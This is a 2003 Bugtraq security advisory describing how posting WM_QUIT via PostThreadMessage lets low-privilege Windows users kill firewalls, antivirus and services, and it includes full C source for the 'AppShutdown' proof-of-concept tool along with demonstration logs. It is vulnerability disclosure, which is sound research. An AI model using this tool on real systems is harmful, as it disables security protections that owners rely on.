Date: Thu, 2 Oct 2003 17:28:00 +1200
From: "Brett Moore" <brett.moore@...urity-assessment.com>
To: <bugtraq@...urityfocus.com>
Subject: Process Killing - Playing with PostThreadMessage


=========================================================================
= Process Killing - Playing with PostThreadMessage
=
= brett.moore@...urity-assessment.com
= http://www.security-assessment.com
=
= Originally posted: October 02, 2003
=========================================================================

== Background ==

While continuing our research into shatter attacks, we turned our
attention to the PostThreadMessage API.

(Start MSDN)
- The PostThreadMessage function places (posts) a message in the message
- queue of the specified thread and then returns without waiting for the
- thread to process the message.
-
- BOOL PostThreadMessage(
-  DWORD idThread, // thread identifier
-  UINT Msg,       // message to post
-  WPARAM wParam,  // first message parameter
-  LPARAM lParam   // second message
-
- The function fails if the specified thread does not have a message queue.
- The system creates a thread's message queue when the thread makes its
- first call to one of the Win32 USER or GDI functions.
(End MSDN)

It appears from our testing that any thread running under any security
level will accept a WM_QUIT message, causing the process to terminate.

(Start MSDN)
- WM_QUIT
- The WM_QUIT message indicates a request to terminate an application and
- is generated when the application calls the PostQuitMessage function.
- Return Values
- This message does not have a return value, because it causes the message
- loop to terminate before the message is sent to the application's window
- procedure.
(End MSDN)

Similar results can also be seen in some cases through the use of sending
WM_DESTROY or WM_CLOSE messages.

While this does not have the security implications of 'privilege escalation'
attacks, it may cause some concerns under certain circumstances.

For our testing we used a personal firewall that runs as a service, and
requires a password before terminating. When run from a guest account
Appshutdown was able to kill the firewall service and various other windows
services.

This means that any user has the potential to shutdown;
   * antivirus applications
   * personal firewall applications
   * filtering applications
   * monitoring applications
   * potentially critical system services.

The mitigating factor is that the thread is required to have a message
queue.

== Example Logs ==

The test.exe process is the personal firewall that requires a password
before shutting down.

The following logs are shortened outputs of the tlist and kill commands
from the NTRK
-------------------------------------------------------
C:\>tlist
 208 WINLOGON.EXE      NetDDE Agent
1020 test.exe          TestFirewall
1132 mstask.exe        SYSTEM AGENT COM WINDOW

C:\>kill 1020
process test.exe (1020) - 'TestFirewall' killed
C:\>kill 208
process WINLOGON.EXE (208) - 'NetDDE Agent' killed
-------------------------------------------------------

Authough kill results in the messages above, what really happened was;
  a) the password prompt appeared when trying to kill 1020
  b) the service remained running when trying to kill 208

-------------------------------------------------------
C:\>appshutdown "TestFirewall"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@...urity-assessment.com

+ Finding TestFirewall Window...
+ Found Main Window At...0x30038h
+ Finding Window Thread..0x42ch Process 0x3fch
+ Send Quit Message
+ Done...
C:\>appshutdown "NetDDE Agent"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@...urity-assessment.com

+ Finding NetDDE Agent Window...
+ Found Main Window At...0x10018h
+ Finding Window Thread..0x110h Process 0xd0h
+ Send Quit Message
+ Done...
-------------------------------------------------------

AppShutdown managed to successfully shutdown both services;
  a) bypassing the required password for the personal firewall
  b) bypassing the security restrictions placed on shutting down services

== Example Code ==

/************************************************************************
* Appshutdown.c
*
* Demonstrates the use of PostThreadMessage to;
* - shutdown any application with a message handler
*
* The window title can be specified in code or on the command line
*
* Works against any application/service process that
* has implemented a message handler
*
*************************************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
	long hWnd,proc;
	DWORD hThread;
	printf("%% AppShutdown - Playing with PostThreadMessage\n");
	printf("%% brett.moore@...urity-assessment.com\n\n");
	// Specify Window Title On Command Line
	if (argc ==2)
		pWindow = argv[1];
	else
		pWindow = tWindow;

	printf("+ Finding %s Window...\n",pWindow);
	hWnd = (long)FindWindow(NULL,pWindow);
	if(hWnd == NULL)
	{
	  printf("+ Couldn't Find %s Window\n",pWindow);
	  return 0;
	}
	printf("+ Found Main Window At...0x%xh\n",hWnd);
	printf("+ Finding Window Thread..");
	hThread = GetWindowThreadProcessId(hWnd,&proc);
	if(hThread  == NULL)
	{
	  printf("Failed\n");
	  return 0;
	}
	printf("0x%xh Process 0x%xh\n",hThread,proc);
	printf("+ Send Quit Message\n");
	PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
	printf("+ Done...\n");
	return 0;
}

== Example Vulnerable Programs ==

>From our testing, any process that implements a message queue is vulnerable
to been shutdown by a user of any security level. In some instances
bypassing shutdown password requirements.
This attack must be run through an interactive logon.

== Credit ==

Brett Moore from security-assessment.com

== About Security-Assessment.com ==

Security-Assessment.com is a leader in intrusion testing and security
code review, and leads the world with SA-ISO, online ISO17799 compliance
management solution. Security-Assessment.com is committed to security
research and development, and its team have previously identified a
number of vulnerabilities in public and private software vendors products.

Powered by blists - more mailing lists